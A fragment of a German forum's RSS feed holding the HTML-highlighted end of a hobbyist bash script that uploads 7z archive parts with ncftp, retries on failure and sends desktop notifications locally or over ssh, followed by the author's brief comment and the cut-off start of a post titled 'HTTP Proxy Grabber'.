/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;t</span><span style="color: #007700">=`</span><span style="color: #DD0000">expr&nbsp;</span><span style="color: #0000BB">$t</span><span style="color: #DD0000">&nbsp;+&nbsp;1</span><span style="color: #007700">`<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$t&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;4&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;**CRITICAL**&nbsp;Upload&nbsp;failed&nbsp;after&nbsp;3&nbsp;trys."<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;***ERROR***&lt;/b&gt;&nbsp;Upload&nbsp;failed&nbsp;after&nbsp;3&nbsp;retrys&nbsp;at&nbsp;file&nbsp;$UPLOADARCHIVPART"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"***ERROR***&nbsp;Upload&nbsp;failed&nbsp;after&nbsp;3&nbsp;retrys&nbsp;at&nbsp;file&nbsp;$UPLOADARCHIVPART"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"&lt;b&gt;***ERROR***&lt;/b&gt;&nbsp;Upload&nbsp;failed&nbsp;after&nbsp;3&nbsp;retrys&nbsp;at&nbsp;file&nbsp;</span><span style="color: #0000BB">$UPLOADARCHIVPART</span><span style="color: #DD0000">"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"***ERROR***&nbsp;Upload&nbsp;failed&nbsp;after&nbsp;3&nbsp;retrys&nbsp;at&nbsp;file&nbsp;</span><span style="color: #0000BB">$UPLOADARCHIVPART</span><span style="color: #DD0000">"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">exit&nbsp;</span><span style="color: #0000BB">6<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;done<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OUT&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;Sucess!&lt;/b&gt;&nbsp;another&nbsp;part&nbsp;has&nbsp;been&nbsp;uploaded.&nbsp;Starting&nbsp;next..."'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"Success,&nbsp;another&nbsp;part&nbsp;has&nbsp;been&nbsp;uploaded&nbsp;Starting&nbsp;next..."'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"&lt;b&gt;Upload&nbsp;of&nbsp;</span><span style="color: #0000BB">$UPLOADARCHIVPART</span><span style="color: #DD0000">&nbsp;done!&nbsp;starting&nbsp;next...&lt;/b&gt;"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"Upload&nbsp;of&nbsp;</span><span style="color: #0000BB">$UPLOADARCHIVPART</span><span style="color: #DD0000">&nbsp;done!&nbsp;starting&nbsp;next..."&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;All&nbsp;done!"<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;Upload&nbsp;done!&lt;/b&gt;"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"&lt;b&gt;Upload&nbsp;done!&lt;/b&gt;"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"Upload&nbsp;done!"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;fi<br /></span><span style="color: #007700">}<br /><br /></span><span style="color: #0000BB">upload<br /><br /></span><span style="color: #007700">exit&nbsp;</span><span style="color: #0000BB">0&nbsp;<br /></span>
</span>
</code></code><hr />
</div>Hat heute morgen als 10 Zeiler angefangen :D<br />
Viel spass, nähere beschreibung auf neimen Blog ;)<br />
<a href="http://www.square252.square7.ch/2012/01/08/upload-skript-7z-und-ncftp/" target="_blank" rel="nofollow">Upload Skript (7z und ncftp) - Sq252</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>JackThursby</dc:creator>
			<guid isPermaLink="true">showroom-102/upload-script-7z-ncftp-31730</guid>
		</item>
		<item>
			<title>HTTP Proxy Grabber</title>
			<link>showroom-102/http-proxy-grabber-30321?goto=newpost</link>
			<pubDate>Fri, 06 Jan 2012 14:20:06 GMT</pubDate>
			<description>PHP: 
--------- 
/* 
         ____  __.  _________            .__        __    
        |    |/ _| /   _____/ ___________|__|______/  |_  
        | ...</description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
